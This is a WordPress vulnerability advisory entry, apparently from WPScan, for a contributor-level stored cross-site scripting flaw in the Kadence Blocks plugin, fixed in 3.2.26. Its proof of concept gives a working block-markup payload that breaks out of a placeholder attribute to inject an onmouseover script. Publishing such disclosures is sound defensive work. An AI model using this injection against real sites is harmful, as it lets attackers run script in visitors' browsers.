WordPress Plugin Vulnerabilities
Gutenberg Blocks by Kadence Blocks < 3.2.26 - Contributor+ Stored XSS
Description
The plugin does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
Proof of Concept
As a contributor (or above), edit a post in Code Editor mode, put the below code in it and save:
<!-- wp:kadence/advanced-form-text {"uniqueID":"9c5eb1-eb","formID":"1","label":"Name","placeholder":"Mouse Over There!\u0022onmouseover='alert(/XSS/)'"} /-->
The XSS will be trigged when viewing/previewing the post and moving the mouse over the generated input.
Affects Plugins
Fixed in 3.2.26 References
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-03-15 (about 2 months ago)
Added
2024-03-15 (about 2 months ago)
Last Updated
2024-03-18 (about 1 months ago)
WPScan 